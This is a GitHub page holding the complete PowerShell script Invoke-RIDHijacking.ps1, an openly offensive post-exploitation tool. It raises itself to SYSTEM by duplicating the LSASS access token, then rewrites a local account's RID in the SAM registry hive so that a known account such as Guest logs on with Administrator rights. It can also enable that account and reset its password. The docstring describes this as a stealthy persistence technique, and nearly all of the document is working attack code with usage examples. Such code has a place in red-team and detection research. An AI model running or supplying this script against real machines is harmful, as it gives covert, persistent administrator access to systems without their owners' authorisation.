-
Notifications
You must be signed in to change notification settings - Fork 43
/
Invoke-RIDHijacking.ps1
331 lines (264 loc) · 11.8 KB
/
Invoke-RIDHijacking.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
#Requires -Version 2
function Invoke-RIDHijacking {
<#
.SYNOPSIS
This script will create an entry on the target by modifying some properties of an existing account.
It will change the account attributes by setting a Relative Identifier (RID), which should be owned
by one existing account on the destination machine.
Taking advantage of some Windows Local Users Management integrity issues, this module will allow to
authenticate with one known account credentials (like GUEST account), and access with the privileges
of another existing account (like ADMINISTRATOR account), even if the spoofed account is disabled.
Author: Sebastian Castro @r4wd3r. E-mail: r4wd3r@gmail.com. Twitter: @r4wd3r.
License: BSD 3-Clause
.DESCRIPTION
The RID Hijacking technique allows setting desired privileges to an existent account in a stealthy manner
by modifying the Relative Identifier value copy used to create the access token. This module needs administrative privileges.
.PARAMETER User
User account to use as the hijacker. If -UseGuest, this parameter will be ignored.
.PARAMETER Password
Password value to set for the hijacker account.
.PARAMETER RID
RID number in decimal of the victim account. Should be the RID of an existing account. 500 by default.
.PARAMETER UseGuest
Set GUEST built-in account as the destination of the privileges to be hijacked.
.PARAMETER Enable
Enable the hijacker account via registry modification.
.EXAMPLE
Invoke-RIDHijacking -User alice -RID 500
Set Administrator privileges to alice custom user.
.EXAMPLE
Invoke-RIDHijacking -User alice -RID 500 -Password Password1
Set Administrator privileges to alice custom user and set new password for alice.
.EXAMPLE
Invoke-RIDHijacking -User alice -RID 500 -Password Password1 -Enable
Set Administrator privileges to alice custom user, set new password for alice and enable alice's account.
.EXAMPLE
Invoke-RIDHijacking -UseGuest -RID 500
Set Administrator privileges to Guest Account. This could also work with the command Invoke-RIDHijacking -Guest.
.EXAMPLE
Invoke-RIDHijacking -UseGuest -RID 500 -Password Password1
Set Administrator privileges to Guest Account and setting new password for Guest.
.EXAMPLE
Invoke-RIDHijacking -UseGuest -RID 1001
Set custom account privileges to Guest Account. A custom local user with RID 1001 should exist.
.EXAMPLE
Invoke-RIDHijacking -UseGuest -RID 1001 -Password Password1
Set custom account privileges to Guest Account and set new password for Guest. A custom local user with
RID 1001 should exist.
.EXAMPLE
Invoke-RIDHijacking -User alice -RID 1002 -Password Password1 -Enable
Set custom account privileges to alice custom user, set new password for alice and enable alice's account.
A custom local user with RID 1002 should exist.
.NOTES
Elevates privileges with LSASS token duplication:
https://gallery.technet.microsoft.com/scriptcenter/Enable-TSDuplicateToken-6f485980
Access to local users data stored in registry based on Get-LocalUsersInfo
https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Get-username-fdcb6990
.LINK
https://r4wsec.com/notes/rid_hijacking/
https://r4wsecurity.blogspot.com/2017/12/rid-hijacking-maintaining-access-on.html
https://github.com/r4wd3r/RID-Hijacking
#>
[CmdletBinding()] param(
[Parameter(Position = 0,Mandatory = $False)]
[string]
$User,
[string]
$Password,
[switch]
$UseGuest,
[ValidateRange(500,65535)]
[int]
$RID = 500,
[switch]
$Enable
)
begin {
# Checks SYSTEM privileges in the current thread or tries to elevate them via duplicating LSASS access token.
Write-Verbose "Checking for SYSTEM privileges"
if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) {
Write-Output "[+] Process is already running as SYSTEM"
}
else {
try {
Write-Verbose "Trying to get SYSTEM privileges"
Enable-TSDuplicateToken
Write-Output "[+] Elevated to SYSTEM privileges"
}
catch {
throw "Administrator or SYSTEM privileges are required"
}
}
# Obtains the needed registry values for each local user
$localUsers = Get-UserKeys
$currentUser = $null
}
process {
# Set to currentUser the account to be used as the hijacker.
Write-Verbose "Checking users..."
if ($UseGuest) {
$currentUser = $localUsers | Where-Object { $_.RID -eq 501 }
}
else {
if ($User) {
$currentUser = $localUsers | Where-Object { $_.UserName -contains $User }
}
}
# Verifies if the entered account exists.
if ($currentUser) {
"[+] Found {0} account" -f ($currentUser.UserName)
"[+] Target account username: {0}" -f $currentUser.UserName
"[+] Target account RID: {0}" -f $currentUser.RID
}
else {
throw "User does not exists in system"
}
# Creates a copy of the user's F REG_BINARY with requested modifications
$FModified = New-Object Byte[] $currentUser.F.length
for ($i = 0; $i -lt $currentUser.F.length; $i++) {
if ($Enable -and ($i -eq 56)) {
$FModified[$i] = 20
continue
}
# Sets the new RID in the F REG_BINARY copy
if ($RID -and ($i -eq 48)) {
$hexRid = [byte[]][BitConverter]::GetBytes($RID)
$FModified[$i],$FModified[$i + 1] = $hexRid[0],$hexRid[1]
$i++
continue
}
$FModified[$i] = $currentUser.F[$i]
}
"[*] Current RID value in F for {0}: {1:x2}{2:x2}" -f ($currentUser.UserName,$currentUser.F[49],$currentUser.F[48])
"[*] Setting RID $RID ({1:x2}{2:x2}) in F for {0} " -f ($currentUser.UserName,$FModified[49],$FModified[48])
# Writes changes to Registry
$fPath = "HKLM:\SAM\SAM\Domains\Account\Users\{0:x8}" -f $currentUser.RID
try {
Write-Verbose "Writing changes to registry: $fPath"
Set-ItemProperty -Path $fPath -Name F -Value $FModified
}
catch {
throw "Error writing in registry. Path: $fPath"
}
if ($Enable) {
Write-Output "[+] Account has been enabled"
}
if ($Password) {
Write-Output "[*] Setting password to user..."
net user $currentUser.UserName $Password
Write-Output "[+] Password set to $Password"
}
"[+] SUCCESS: The RID $RID has been set to the account {0} with original RID {1}" -f ($currentUser.UserName,$currentUser.RID)
}
}
function Get-UserName ([byte[]]$V) {
if (-not $V) { return $null };
$offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
$len = [BitConverter]::ToInt32($V[0x10..0x13],0);
return [Text.Encoding]::Unicode.GetString($V,$offset,$len);
}
function Get-UserKeys {
Get-ChildItem HKLM:\SAM\SAM\Domains\Account\Users |
Where-Object { $_.PSChildName -match "^[0-9A-Fa-f]{8}$" } |
Add-Member AliasProperty KeyName PSChildName -Passthru |
Add-Member ScriptProperty UserName { Get-UserName ($this.GetValue("V")) } -Passthru |
Add-Member ScriptProperty Rid { [Convert]::ToInt32($this.PSChildName,16) } -Passthru |
Add-Member ScriptProperty F { [byte[]]($this.GetValue("F")) } -Passthru |
Add-Member ScriptProperty FRid { [BitConverter]::ToUInt32($this.GetValue("F")[0x30..0x34],0) } -Passthru
}
function Enable-TSDuplicateToken {
$signature = @"
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
public const int SE_PRIVILEGE_ENABLED = 0x00000002;
public const int TOKEN_QUERY = 0x00000008;
public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
public const UInt32 TOKEN_DUPLICATE = 0x0002;
public const UInt32 TOKEN_IMPERSONATE = 0x0004;
public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
TOKEN_ADJUST_SESSIONID);
public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege";
public const int ANYSIZE_ARRAY = 1;
[StructLayout(LayoutKind.Sequential)]
public struct LUID
{
public UInt32 LowPart;
public UInt32 HighPart;
}
[StructLayout(LayoutKind.Sequential)]
public struct LUID_AND_ATTRIBUTES {
public LUID Luid;
public UInt32 Attributes;
}
public struct TOKEN_PRIVILEGES {
public UInt32 PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]
public LUID_AND_ATTRIBUTES [] Privileges;
}
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int
SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool SetThreadToken(
IntPtr PHThread,
IntPtr Token
);
[DllImport("advapi32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool OpenProcessToken(IntPtr ProcessHandle,
UInt32 DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
[DllImport("kernel32.dll", ExactSpelling = true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
"@
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal ([Security.Principal.WindowsIdentity]::GetCurrent())
if ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {
throw "Run the Command as an Administrator"
break
}
Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv
$adjPriv = [AdjPriv.AdjPriv]
[long]$luid = 0
$tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid
$tokPriv1Luid.Count = 1
$tokPriv1Luid.Luid = $luid
$tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED
$retVal = $adjPriv::LookupPrivilegeValue($null,"SeDebugPrivilege",[ref]$tokPriv1Luid.Luid)
[IntPtr]$htoken = [IntPtr]::Zero
$retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(),[AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS,[ref]$htoken)
$tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES
$retVal = $adjPriv::AdjustTokenPrivileges($htoken,$false,[ref]$tokPriv1Luid,12,[IntPtr]::Zero,[IntPtr]::Zero)
if (-not ($retVal)) {
[System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
break
}
$process = (Get-Process -Name lsass)
[IntPtr]$hlsasstoken = [IntPtr]::Zero
$retVal = $adjPriv::OpenProcessToken($process.Handle,([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -bor [AdjPriv.AdjPriv]::TOKEN_DUPLICATE),[ref]$hlsasstoken)
[IntPtr]$dulicateTokenHandle = [IntPtr]::Zero
$retVal = $adjPriv::DuplicateToken($hlsasstoken,2,[ref]$dulicateTokenHandle)
$retval = $adjPriv::SetThreadToken([IntPtr]::Zero,$dulicateTokenHandle)
if (-not ($retVal)) {
[System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
}
}